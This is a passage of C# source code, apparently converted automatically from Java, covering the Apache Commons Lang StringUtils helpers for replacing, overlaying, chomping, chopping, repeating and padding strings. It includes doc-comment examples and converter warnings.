StringUtils.replaceEach(null, *, *, *, *) = null // /// StringUtils.replaceEach("", *, *, *, *) = "" // /// StringUtils.replaceEach("aba", null, null, *, *) = "aba" // /// StringUtils.replaceEach("aba", new String[0], null, *, *) = "aba" // /// StringUtils.replaceEach("aba", null, new String[0], *, *) = "aba" // /// StringUtils.replaceEach("aba", new String[]{"a"}, null, *, *) = "aba" // /// StringUtils.replaceEach("aba", new String[]{"a"}, new String[]{""}, *, >=0) = "b" // /// StringUtils.replaceEach("aba", new String[]{null}, new String[]{"a"}, *, >=0) = "aba" // /// StringUtils.replaceEach("abcde", new String[]{"ab", "d"}, new String[]{"w", "t"}, *, >=0) = "wcte" // /// (example of how it repeats) // /// StringUtils.replaceEach("abcde", new String[]{"ab", "d"}, new String[]{"d", "t"}, false, >=0) = "dcte" // /// StringUtils.replaceEach("abcde", new String[]{"ab", "d"}, new String[]{"d", "t"}, true, >=2) = "tcte" // /// StringUtils.replaceEach("abcde", new String[]{"ab", "d"}, new String[]{"d", "ab"}, *, *) = IllegalStateException // /// </pre> // /// </summary> // /// <param name="text"> // /// text to search and replace in, no-op if null </param> // /// <param name="searchList"> // /// the Strings to search for, no-op if null </param> // /// <param name="replacementList"> // /// the Strings to replace them with, no-op if null </param> // /// <param name="repeat"> if true, then replace repeatedly // /// until there are no more possible replacements or timeToLive < 0 </param> // /// <param name="timeToLive"> // /// if less than 0 then there is a circular reference and endless // /// loop </param> // /// <returns> the text with any replacements processed, {@code null} if // /// null String input </returns> // /// <exception cref="IllegalStateException"> // /// if the search is repeating and there is an endless loop due // /// to outputs of one being inputs to another </exception> // /// <exception cref="IllegalArgumentException"> // /// if the lengths of the arrays are not the same (null is ok, // /// and/or size 0) // /// @since 2.4 </exception> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: private static String replaceEach(final String text, final String[] searchList, final String[] replacementList, final boolean repeat, final int timeToLive) // private static string replaceEach(string text, string[] searchList, string[] replacementList, bool repeat, int timeToLive) // { // // mchyzer Performance note: This creates very few new objects (one major goal) // // let me know if there are performance requests, we can create a harness to measure // if (string.ReferenceEquals(text, null) || text.Length == 0 || searchList == null || searchList.Length == 0 || replacementList == null || replacementList.Length == 0) // { // return text; // } // // if recursing, this shouldn't be less than 0 // if (timeToLive < 0) // { // throw new System.InvalidOperationException("Aborting to protect against StackOverflowError - " + "output of one loop is the input of another"); // } // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final int searchLength = searchList.length; // int searchLength = searchList.Length; // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final int replacementLength = replacementList.length; // int replacementLength = replacementList.Length; // // make sure lengths are ok, these need to be equal // if (searchLength != replacementLength) // { // throw new System.ArgumentException("Search and Replace array lengths don't match: " + searchLength + " vs " + replacementLength); // } // // keep track of which still have matches // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final boolean[] noMoreMatchesForReplIndex = new boolean[searchLength]; // bool[] noMoreMatchesForReplIndex = new bool[searchLength]; // // index on index that the match was found // int textIndex = -1; // int replaceIndex = -1; // int tempIndex = -1; // // index of replace array that will replace the search string found // // NOTE: logic duplicated below START // for (int i = 0; i < searchLength; i++) // { // if (noMoreMatchesForReplIndex[i] || string.ReferenceEquals(searchList[i], null) || searchList[i].Length == 0 || string.ReferenceEquals(replacementList[i], null)) // { // continue; // } // tempIndex = text.IndexOf(searchList[i], StringComparison.Ordinal); // // see if we need to keep searching for this // if (tempIndex == -1) // { // noMoreMatchesForReplIndex[i] = true; // } // else // { // if (textIndex == -1 || tempIndex < textIndex) // { // textIndex = tempIndex; // replaceIndex = i; // } // } // } // // NOTE: logic mostly below END // // no search strings found, we are done // if (textIndex == -1) // { // return text; // } // int start = 0; // // get a good guess on the size of the result buffer so it doesn't have to double if it goes over a bit // int increase = 0; // // count the replacement text elements that are larger than their corresponding text being replaced // for (int i = 0; i < searchList.Length; i++) // { // if (string.ReferenceEquals(searchList[i], null) || string.ReferenceEquals(replacementList[i], null)) // { // continue; // } // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final int greater = replacementList[i].length() - searchList[i].length(); // int greater = replacementList[i].Length - searchList[i].Length; // if (greater > 0) // { // increase += 3 * greater; // assume 3 matches // } // } // // have upper-bound at 20% increase, then let Java take over // increase = Math.Min(increase, text.Length / 5); // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final StringBuilder buf = new StringBuilder(text.length() + increase); // StringBuilder buf = new StringBuilder(text.Length + increase); // while (textIndex != -1) // { // for (int i = start; i < textIndex; i++) // { // buf.Append(text[i]); // } // buf.Append(replacementList[replaceIndex]); // start = textIndex + searchList[replaceIndex].Length; // textIndex = -1; // replaceIndex = -1; // tempIndex = -1; // // find the next earliest match // // NOTE: logic mostly duplicated above START // for (int i = 0; i < searchLength; i++) // { // if (noMoreMatchesForReplIndex[i] || string.ReferenceEquals(searchList[i], null) || searchList[i].Length == 0 || string.ReferenceEquals(replacementList[i], null)) // { // continue; // } // tempIndex = text.IndexOf(searchList[i], start, StringComparison.Ordinal); // // see if we need to keep searching for this // if (tempIndex == -1) // { // noMoreMatchesForReplIndex[i] = true; // } // else // { // if (textIndex == -1 || tempIndex < textIndex) // { // textIndex = tempIndex; // replaceIndex = i; // } // } // } // // NOTE: logic duplicated above END // } // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final int textLength = text.length(); // int textLength = text.Length; // for (int i = start; i < textLength; i++) // { // buf.Append(text[i]); // } // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final String result = buf.toString(); // string result = buf.ToString(); // if (!repeat) // { // return result; // } // return replaceEach(result, searchList, replacementList, repeat, timeToLive - 1); // } // // Replace, character based // //----------------------------------------------------------------------- // /// <summary> // /// <para>Replaces all occurrences of a character in a String with another. // /// This is a null-safe version of <seealso cref="String#replace(char, char)"/>.</para> // /// // /// <para>A {@code null} string input returns {@code null}. // /// An empty ("") string input returns an empty string.</para> // /// // /// <pre> // /// StringUtils.replaceChars(null, *, *) = null // /// StringUtils.replaceChars("", *, *) = "" // /// StringUtils.replaceChars("abcba", 'b', 'y') = "aycya" // /// StringUtils.replaceChars("abcba", 'z', 'y') = "abcba" // /// </pre> // /// </summary> // /// <param name="str"> String to replace characters in, may be null </param> // /// <param name="searchChar"> the character to search for, may be null </param> // /// <param name="replaceChar"> the character to replace, may be null </param> // /// <returns> modified String, {@code null} if null string input // /// @since 2.0 </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String replaceChars(final String str, final char searchChar, final char replaceChar) // public static string replaceChars(string str, char searchChar, char replaceChar) // { // if (string.ReferenceEquals(str, null)) // { // return null; // } // return str.Replace(searchChar, replaceChar); // } // /// <summary> // /// <para>Replaces multiple characters in a String in one go. // /// This method can also be used to delete characters.</para> // /// // /// <para>For example:<br> // /// <code>replaceChars(&quot;hello&quot;, &quot;ho&quot;, &quot;jy&quot;) = jelly</code>.</para> // /// // /// <para>A {@code null} string input returns {@code null}. // /// An empty ("") string input returns an empty string. // /// A null or empty set of search characters returns the input string.</para> // /// // /// <para>The length of the search characters should normally equal the length // /// of the replace characters. // /// If the search characters is longer, then the extra search characters // /// are deleted. // /// If the search characters is shorter, then the extra replace characters // /// are ignored.</para> // /// // /// <pre> // /// StringUtils.replaceChars(null, *, *) = null // /// StringUtils.replaceChars("", *, *) = "" // /// StringUtils.replaceChars("abc", null, *) = "abc" // /// StringUtils.replaceChars("abc", "", *) = "abc" // /// StringUtils.replaceChars("abc", "b", null) = "ac" // /// StringUtils.replaceChars("abc", "b", "") = "ac" // /// StringUtils.replaceChars("abcba", "bc", "yz") = "ayzya" // /// StringUtils.replaceChars("abcba", "bc", "y") = "ayya" // /// StringUtils.replaceChars("abcba", "bc", "yzx") = "ayzya" // /// </pre> // /// </summary> // /// <param name="str"> String to replace characters in, may be null </param> // /// <param name="searchChars"> a set of characters to search for, may be null </param> // /// <param name="replaceChars"> a set of characters to replace, may be null </param> // /// <returns> modified String, {@code null} if null string input // /// @since 2.0 </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String replaceChars(final String str, final String searchChars, String replaceChars) // public static string replaceChars(string str, string searchChars, string replaceChars) // { // if (isEmpty(str) || isEmpty(searchChars)) // { // return str; // } // if (string.ReferenceEquals(replaceChars, null)) // { // replaceChars = EMPTY; // } // bool modified = false; // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final int replaceCharsLength = replaceChars.length(); // int replaceCharsLength = replaceChars.Length; // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final int strLength = str.length(); // int strLength = str.Length; // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final StringBuilder buf = new StringBuilder(strLength); // StringBuilder buf = new StringBuilder(strLength); // for (int i = 0; i < strLength; i++) // { // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final char ch = str.charAt(i); // char ch = str[i]; // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final int index = searchChars.indexOf(ch); // int index = searchChars.IndexOf(ch); // if (index >= 0) // { // modified = true; // if (index < replaceCharsLength) // { // buf.Append(replaceChars[index]); // } // } // else // { // buf.Append(ch); // } // } // if (modified) // { // return buf.ToString(); // } // return str; // } // // Overlay // //----------------------------------------------------------------------- // /// <summary> // /// <para>Overlays part of a String with another String.</para> // /// // /// <para>A {@code null} string input returns {@code null}. // /// A negative index is treated as zero. // /// An index greater than the string length is treated as the string length. // /// The start index is always the smaller of the two indices.</para> // /// // /// <pre> // /// StringUtils.overlay(null, *, *, *) = null // /// StringUtils.overlay("", "abc", 0, 0) = "abc" // /// StringUtils.overlay("abcdef", null, 2, 4) = "abef" // /// StringUtils.overlay("abcdef", "", 2, 4) = "abef" // /// StringUtils.overlay("abcdef", "", 4, 2) = "abef" // /// StringUtils.overlay("abcdef", "zzzz", 2, 4) = "abzzzzef" // /// StringUtils.overlay("abcdef", "zzzz", 4, 2) = "abzzzzef" // /// StringUtils.overlay("abcdef", "zzzz", -1, 4) = "zzzzef" // /// StringUtils.overlay("abcdef", "zzzz", 2, 8) = "abzzzz" // /// StringUtils.overlay("abcdef", "zzzz", -2, -3) = "zzzzabcdef" // /// StringUtils.overlay("abcdef", "zzzz", 8, 10) = "abcdefzzzz" // /// </pre> // /// </summary> // /// <param name="str"> the String to do overlaying in, may be null </param> // /// <param name="overlay"> the String to overlay, may be null </param> // /// <param name="start"> the position to start overlaying at </param> // /// <param name="end"> the position to stop overlaying before </param> // /// <returns> overlayed String, {@code null} if null String input // /// @since 2.0 </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String overlay(final String str, String overlay, int start, int end) // public static string overlay(string str, string overlay, int start, int end) // { // if (string.ReferenceEquals(str, null)) // { // return null; // } // if (string.ReferenceEquals(overlay, null)) // { // overlay = EMPTY; // } // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final int len = str.length(); // int len = str.Length; // if (start < 0) // { // start = 0; // } // if (start > len) // { // start = len; // } // if (end < 0) // { // end = 0; // } // if (end > len) // { // end = len; // } // if (start > end) // { // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final int temp = start; // int temp = start; // start = end; // end = temp; // } // return (new StringBuilder(len + start - end + overlay.Length + 1)).Append(str.Substring(0, start)).Append(overlay).Append(str.Substring(end)).ToString(); // } // // Chomping // //----------------------------------------------------------------------- // /// <summary> // /// <para>Removes one newline from end of a String if it's there, // /// otherwise leave it alone. A newline is &quot;{@code \n}&quot;, // /// &quot;{@code \r}&quot;, or &quot;{@code \r\n}&quot;.</para> // /// // /// <para>NOTE: This method changed in 2.0. // /// It now more closely matches Perl chomp.</para> // /// // /// <pre> // /// StringUtils.chomp(null) = null // /// StringUtils.chomp("") = "" // /// StringUtils.chomp("abc \r") = "abc " // /// StringUtils.chomp("abc\n") = "abc" // /// StringUtils.chomp("abc\r\n") = "abc" // /// StringUtils.chomp("abc\r\n\r\n") = "abc\r\n" // /// StringUtils.chomp("abc\n\r") = "abc\n" // /// StringUtils.chomp("abc\n\rabc") = "abc\n\rabc" // /// StringUtils.chomp("\r") = "" // /// StringUtils.chomp("\n") = "" // /// StringUtils.chomp("\r\n") = "" // /// </pre> // /// </summary> // /// <param name="str"> the String to chomp a newline from, may be null </param> // /// <returns> String without newline, {@code null} if null String input </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String chomp(final String str) // public static string chomp(string str) // { // if (isEmpty(str)) // { // return str; // } // if (str.Length == 1) // { // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final char ch = str.charAt(0); // char ch = str[0]; // if (ch == CharUtils.CR || ch == CharUtils.LF) // { // return EMPTY; // } // return str; // } // int lastIdx = str.Length - 1; // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final char last = str.charAt(lastIdx); // char last = str[lastIdx]; // if (last == CharUtils.LF) // { // if (str[lastIdx - 1] == CharUtils.CR) // { // lastIdx--; // } // } // else if (last != CharUtils.CR) // { // lastIdx++; // } // return str.Substring(0, lastIdx); // } // /// <summary> // /// <para>Removes {@code separator} from the end of // /// {@code str} if it's there, otherwise leave it alone.</para> // /// // /// <para>NOTE: This method changed in version 2.0. // /// It now more closely matches Perl chomp. // /// For the previous behavior, use <seealso cref="#substringBeforeLast(String, String)"/>. // /// This method uses <seealso cref="String#endsWith(String)"/>.</para> // /// // /// <pre> // /// StringUtils.chomp(null, *) = null // /// StringUtils.chomp("", *) = "" // /// StringUtils.chomp("foobar", "bar") = "foo" // /// StringUtils.chomp("foobar", "baz") = "foobar" // /// StringUtils.chomp("foo", "foo") = "" // /// StringUtils.chomp("foo ", "foo") = "foo " // /// StringUtils.chomp(" foo", "foo") = " " // /// StringUtils.chomp("foo", "foooo") = "foo" // /// StringUtils.chomp("foo", "") = "foo" // /// StringUtils.chomp("foo", null) = "foo" // /// </pre> // /// </summary> // /// <param name="str"> the String to chomp from, may be null </param> // /// <param name="separator"> separator String, may be null </param> // /// <returns> String without trailing separator, {@code null} if null String input </returns> // /// @deprecated This feature will be removed in Lang 4.0, use <seealso cref="StringUtils#removeEnd(String, String)"/> instead // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: @Deprecated("This feature will be removed in Lang 4.0, use <seealso cref="StringUtils#removeEnd(String, String)"/> instead") public static String chomp(final String str, final String separator) // //[Obsolete("This feature will be removed in Lang 4.0, use <seealso cref="StringUtils#removeEnd(String, String)"/> instead")] //public static string chomp(string str, string separator) // { // return removeEnd(str, separator); // } // // Chopping // //----------------------------------------------------------------------- // /// <summary> // /// <para>Remove the last character from a String.</para> // /// // /// <para>If the String ends in {@code \r\n}, then remove both // /// of them.</para> // /// // /// <pre> // /// StringUtils.chop(null) = null // /// StringUtils.chop("") = "" // /// StringUtils.chop("abc \r") = "abc " // /// StringUtils.chop("abc\n") = "abc" // /// StringUtils.chop("abc\r\n") = "abc" // /// StringUtils.chop("abc") = "ab" // /// StringUtils.chop("abc\nabc") = "abc\nab" // /// StringUtils.chop("a") = "" // /// StringUtils.chop("\r") = "" // /// StringUtils.chop("\n") = "" // /// StringUtils.chop("\r\n") = "" // /// </pre> // /// </summary> // /// <param name="str"> the String to chop last character from, may be null </param> // /// <returns> String without last character, {@code null} if null String input </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String chop(final String str) // public static string chop(string str) // { // if (string.ReferenceEquals(str, null)) // { // return null; // } // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final int strLen = str.length(); // int strLen = str.Length; // if (strLen < 2) // { // return EMPTY; // } // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final int lastIdx = strLen - 1; // int lastIdx = strLen - 1; // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final String ret = str.substring(0, lastIdx); // string ret = str.Substring(0, lastIdx); // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final char last = str.charAt(lastIdx); // char last = str[lastIdx]; // if (last == CharUtils.LF && ret[lastIdx - 1] == CharUtils.CR) // { // return ret.Substring(0, lastIdx - 1); // } // return ret; // } // Conversion //----------------------------------------------------------------------- // Padding //----------------------------------------------------------------------- /// <summary> /// <para>Repeat a String {@code repeat} times to form a /// new String.</para> /// /// <pre> /// StringUtils.repeat(null, 2) = null /// StringUtils.repeat("", 0) = "" /// StringUtils.repeat("", 2) = "" /// StringUtils.repeat("a", 3) = "aaa" /// StringUtils.repeat("ab", 2) = "abab" /// StringUtils.repeat("a", -2) = "" /// </pre> /// </summary> /// <param name="str"> the String to repeat, may be null </param> /// <param name="repeat"> number of times to repeat str, negative treated as zero </param> /// <returns> a new String consisting of the original String repeated, /// {@code null} if null String input </returns> //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: //ORIGINAL LINE: public static String repeat(final String str, final int repeat) public static string repeat(string str, int repeat) { // Performance tuned for 2.0 (JDK1.4) if (string.ReferenceEquals(str, null)) { return null; } if (repeat <= 0) { return EMPTY; } //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': //ORIGINAL LINE: final int inputLength = str.length(); int inputLength = str.Length; if (repeat == 1 || inputLength == 0) { return str; } if (inputLength == 1 && repeat <= PAD_LIMIT) { return StringUtils.repeat(str[0], repeat); } //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': //ORIGINAL LINE: final int outputLength = inputLength * repeat; int outputLength = inputLength * repeat; switch (inputLength) { case 1: return StringUtils.repeat(str[0], repeat); case 2: //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': //ORIGINAL LINE: final char ch0 = str.charAt(0); char ch0 = str[0]; //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': //ORIGINAL LINE: final char ch1 = str.charAt(1); char ch1 = str[1]; //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': //ORIGINAL LINE: final char[] output2 = new char[outputLength]; char[] output2 = new char[outputLength]; for (int i = repeat * 2 - 2; i >= 0; i--, i--) { output2[i] = ch0; output2[i + 1] = ch1; } return new string(output2); default: //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': //ORIGINAL LINE: final StringBuilder buf = new StringBuilder(outputLength); StringBuilder buf = new StringBuilder(outputLength); for (int i = 0; i < repeat; i++) { buf.Append(str); } return buf.ToString(); } } /// <summary> /// <para>Repeat a String {@code repeat} times to form a /// new String, with a String separator injected each time. </para> /// /// <pre> /// StringUtils.repeat(null, null, 2) = null /// StringUtils.repeat(null, "x", 2) = null /// StringUtils.repeat("", null, 0) = "" /// StringUtils.repeat("", "", 2) = "" /// StringUtils.repeat("", "x", 3) = "xxx" /// StringUtils.repeat("?", ", ", 3) = "?, ?, ?" /// </pre> /// </summary> /// <param name="str"> the String to repeat, may be null </param> /// <param name="separator"> the String to inject, may be null </param> /// <param name="repeat"> number of times to repeat str, negative treated as zero </param> /// <returns> a new String consisting of the original String repeated, /// {@code null} if null String input /// @since 2.5 </returns> //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: //ORIGINAL LINE: public static String repeat(final String str, final String separator, final int repeat) public static string repeat(string str, string separator, int repeat) { if (string.ReferenceEquals(str, null) || string.ReferenceEquals(separator, null)) { return StringUtils.repeat(str, repeat); } // given that repeat(String, int) is quite optimized, better to rely on it than try and splice this into it //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': //ORIGINAL LINE: final String result = repeat(str + separator, repeat); string result = StringUtils.repeat(str + separator, repeat); return removeEnd(result, separator); } /// <summary> /// <para>Returns padding using the specified delimiter repeated /// to a given length.</para> /// /// <pre> /// StringUtils.repeat('e', 0) = "" /// StringUtils.repeat('e', 3) = "eee" /// StringUtils.repeat('e', -2) = "" /// </pre> /// /// <para>Note: this method doesn't not support padding with /// <a href="http://www.unicode.org/glossary/#supplementary_character">Unicode Supplementary Characters</a> /// as they require a pair of {@code char}s to be represented. /// If you are needing to support full I18N of your applications /// consider using <seealso cref="#repeat(String, int)"/> instead. /// </para> /// </summary> /// <param name="ch"> character to repeat </param> /// <param name="repeat"> number of times to repeat char, negative treated as zero </param> /// <returns> String with repeated character </returns> /// <seealso cref= #repeat(String, int) </seealso> //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: //ORIGINAL LINE: public static String repeat(final char ch, final int repeat) public static string repeat(char ch, int repeat) { if (repeat <= 0) { return EMPTY; } //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': //ORIGINAL LINE: final char[] buf = new char[repeat]; char[] buf = new char[repeat]; for (int i = repeat - 1; i >= 0; i--) { buf[i] = ch; } return new string(buf); } /// <summary> /// <para>Right pad a String with spaces (' ').</para> /// /// <para>The String is padded to the size of {@code size}.</para> /// /// <pre> /// StringUtils.rightPad(null, *) = null /// StringUtils.rightPad("", 3) = " " /// StringUtils.rightPad("bat", 3) = "bat" /// StringUtils.rightPad("bat", 5) = "bat " /// StringUtils.rightPad("bat", 1) = "bat" /// StringUtils.rightPad("bat", -1) = "bat" /// </pre> /// </summary> /// <param name="str"> the String to pad out, may be null </param> /// <param name="size"> the size to pad to </param> /// <returns> right padded String or original String if no padding is necessary, /// {@code null} if null String input </returns> //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: //ORIGINAL LINE: public static String rightPad(final String str, final int size) public static string rightPad(string str, int size) { return rightPad(str, size, ' '); } /// <summary> /// <para>Right pad a String with a specified character.</para> /// /// <para>The String is padded to the size of {@code size}.</para> /// /// <pre> /// StringUtils.rightPad(null, *, *) = null /// StringUtils.rightPad("", 3, 'z') = "zzz" /// StringUtils.rightPad("bat", 3, 'z') = "bat" /// StringUtils.rightPad("bat", 5, 'z') = "batzz" /// StringUtils.rightPad("bat", 1, 'z') = "bat" /// StringUtils.rightPad("bat", -1, 'z') = "bat" /// </pre> /// </summary> /// <param name="str"> the String to pad out, may be null </param> /// <param name="size"> the size to pad to </param> /// <param name="padChar"> the character to pad with </param> /// <returns> right padded String or original String if no padding is necessary, /// {@code null} if null String input /// @since 2.0 </returns> //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: //ORIGINAL LINE: public static String rightPad(final String str, final int size, final char padChar) public static string rightPad(string str, int size, char padChar) { if (string.ReferenceEquals(str, null)) { return null; } //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': //ORIGINAL LINE: final int pads = size - str.length(); int pads = size - str.Length; if (pads <= 0) { return str; // returns original String when possible } if (pads > PAD_LIMIT) { return rightPad(str, size, padChar.ToString()); } return str + repeat(padChar, pads); } /// <summary> /// <para>Right pad a String with a specified String.</para> /// /// <para>The String is padded to the size of {@code size}.</para> /// /// <pre> /// StringUtils.rightPad(null, *, *) = null /// StringUtils.rightPad("", 3, "z") = "zzz" /// StringUtils.rightPad("bat", 3, "yz") = "bat" /// StringUtils.rightPad("bat", 5, "yz") = "batyz" /// StringUtils.rightPad("bat", 8, "yz") = "batyzyzy" /// StringUtils.rightPad("bat", 1, "yz") = "bat" /// StringUtils.rightPad("bat", -1, "yz") = "bat" /// StringUtils.rightPad("bat", 5, null) = "bat " /// StringUtils.rightPad("bat", 5, "") = "bat " /// </pre> /// </summary> /// <param name="str"> the String to pad out, may be null </param> /// <param name="size"> the size to pad to </param> /// <param name="padStr"> the String to pad with, null or empty treated as single space </param> /// <returns> right padded String or original String if no padding is necessary, /// {@code null} if null String input </returns> //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: //ORIGINAL LINE: public static String rightPad(final String str, final int size, String padStr) public static string rightPad(string str, int size, string padStr) { if (string.ReferenceEquals(str, null)) { return null; } if (isEmpty(padStr)) { padStr = SPACE; } //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': //ORIGINAL LINE: final int padLen = padStr.length(); int padLen = padStr.Length; //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': //ORIGINAL LINE: final int strLen = str.length(); int strLen = str.Length; //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': //ORIGINAL LINE: final int pads = size - strLen; int pads = size - strLen; if (pads <= 0) { return str; // returns original String when possible } if (padLen == 1 && pads <= PAD_LIMIT) { return rightPad(str, size, padStr[0]); } if (pads == padLen) { return str + padStr; } else if (pads < padLen) { return str + padStr.Substring(0, pads); } else { //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': //ORIGINAL LINE: final char[] padding = new char[pads]; char[] padding = new char[pads]; //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': //ORIGINAL LINE: final char[] padChars = padStr.toCharArray(); char[] padChars = padStr.ToCharArray(); for (int i = 0; i < pads; i++) { padding[i] = padChars[i % padLen]; } return str + new string(padding); } } /// <summary> /// <para>Left pad a String with spaces (' ').</para> /// /// <para>The String is padded to the size of {@code size}.</para> /// /// <pre> /// StringUtils.leftPad(null, *) = null /// StringUtils.leftPad("", 3) = " " /// StringUtils.leftPad("bat", 3) = "bat" /// StringUtils.leftPad("bat", 5) = " bat" /// StringUtils.leftPad("bat", 1) = "bat" /// StringUtils.leftPad("bat", -1) = "bat" /// </pre> /// </summary> /// <param name="str"> the String to pad out, may be null </param> /// <param name="size"> the size to pad to </param> /// <returns> left padded String or original String if no padding is necessary, /// {@code null} if null String input </returns> //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: //ORIGINAL LINE: public static String leftPad(final String str, final int size) public static string leftPad(string str, int size) { return leftPad(str, size, ' '); } /// <summary> /// <para>Left pad a String with a specified character.</para> /// /// <para>Pad to a size of {@code size}.</para> /// /// <pre> /// StringUtils.leftPad(null, *, *) = null /// StringUtils.leftPad("", 3, 'z') = "zzz" /// StringUtils.leftPad("bat", 3, 'z') = "bat" /// StringUtils.leftPad("bat", 5, 'z') = "zzbat" /// StringUtils.leftPad("bat", 1, 'z') = "bat" /// StringUtils.leftPad("bat", -1, 'z') = "bat" /// </pre> /// </summary> /// <param name="str"> the String to pad out, may be null </param> /// <param name="size"> the size to pad to </param> /// <param name="padChar"> the character to pad with </param> /// <returns> left padded String or original String if no padding is necessary, /// {@code null} if null String input /// @since 2.0 </returns> //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: //ORIGINAL LINE: public static String leftPad(final String str, final int size, final char padChar) public static string leftPad(string str, int size, char padChar) { if (string.ReferenceEquals(str, null)) { return null; } //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': //ORIGINAL LINE: final int pads = size - str.length(); int pads = size - str.Length; if (pads <= 0) { return str; // returns original String when possible } if (pads > PAD_LIMIT) { return leftPad(str, size, padChar.ToString()); } return repeat(padChar, pads) + str; } /// <summary> /// <para>Left pad a String with a specified String.</para> /// /// <para>Pad to a size of {@code size}.</para> /// /// <pre> /// StringUtils.leftPad(null, *, *) = null /// StringUtils.leftPad("", 3, "z") = "zzz" /// StringUtils.leftPad("bat", 3, "yz") = "bat" /// StringUtils.leftPad("bat", 5, "yz") = "yzbat" /// StringUtils.leftPad("bat", 8, "yz") = "yzyzybat" /// StringUtils.leftPad("bat", 1, "yz") = "bat" /// StringUtils.leftPad("bat", -1, "yz") = "bat" /// StringUtils.leftPad("bat", 5, null) = " bat" /// StringUtils.leftPad("bat", 5, "") = " bat" /// </pre> /// </summary> /// <param name="str"> the String to pad out, may be null </param> /// <param name="size"> the size to pad to </param> /// <param name="padStr"> the String to pad with, null or empty treated as single space </param> /// <returns> left padded String or original String if no padding is necessary, /// {@code null} if null String input </returns> //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: //ORIGINAL LINE: public static String leftPad(final String str, final int size, String padStr) public static string leftPad(string str, int size, string padStr) { if (string.ReferenceEquals(str, null)) { return null; } if (isEmpty(padStr)) { padStr = SPACE; } //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': //ORIGINAL LINE: final int padLen = padStr.length(); int padLen = padStr.Length; //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': //ORIGINAL LINE: final int strLen = str.length(); int strLen = str.Length; //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': //ORIGINAL LINE: final int pads = size - strLen; int pads = size - strLen; if (pads <= 0) { return str; // returns original String when possible } if (padLen == 1 && pads <= PAD_LIMIT) { return leftPad(str, size, padStr[0]); } if (pads == padLen) { return padStr + str; } else if (pads < padLen) { return padStr.Substring(0, pads) + str; } else { //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': //ORIGINAL LINE: final char[] padding = new char[pads]; char[] padding = new char[pads]; //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': //ORIGINAL LINE: final char[] padChars = padStr.toCharArray(); char[] padChars = padStr.ToCharArray(); for (int i = 0; i < pads; i++) { padding[i] = padChars[i % padLen]; } return (new string(padding)) + str; } } // /// <summary> // /// Gets a CharSequence length or {@code 0} if the CharSequence is // /// {@code null}. // /// </summary> // /// <param name="cs"> // /// a CharSequence or {@code null} </param> // /// <returns> CharSequence length or {@code 0} if the CharSequence is // /// {@code null}. // /// @since 2.4 